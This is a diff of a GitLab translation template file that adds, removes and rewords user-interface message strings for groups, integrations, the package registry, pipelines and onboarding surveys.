msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr ""
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr ""
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr ""
msgid "Groups and subgroups"
msgstr ""
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr ""
-
msgid "Groups to synchronize"
msgstr ""
@@ -15957,22 +16177,31 @@ msgstr ""
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr ""
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
+msgid "GroupsNew|Create group"
+msgstr ""
+
+msgid "GroupsNew|Create new group"
msgstr ""
-msgid "GroupsNew|Create group"
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
msgstr ""
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr ""
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr ""
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
-msgid "Hide stage"
-msgstr ""
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr ""
@@ -16306,9 +16544,24 @@ msgstr ""
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr ""
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr ""
@@ -16318,9 +16571,6 @@ msgstr ""
msgid "IDE"
msgstr ""
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr ""
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,7 +17594,7 @@ msgstr ""
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr ""
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
+msgid "Infrastructure"
msgstr ""
msgid "Infrastructure Registry"
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr ""
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr ""
msgid "IssueTracker|Custom issue tracker"
msgstr ""
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,13 +18613,13 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not familiar with the basics of DevOps."
+msgid "I’m joining my team who’s already on GitLab"
msgstr ""
-msgid "Jaeger URL"
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
-msgid "Jaeger tracing"
+msgid "Jaeger URL"
msgstr ""
msgid "Jan"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr ""
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,10 +18736,10 @@ msgstr ""
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
msgstr ""
msgid "JiraService|Jira issue type"
@@ -18501,7 +18826,7 @@ msgstr ""
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
msgstr ""
msgid "Job"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr ""
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr ""
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr ""
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
+msgid "Join your team"
+msgstr ""
+
msgid "Joined %{time_ago}"
msgstr ""
@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
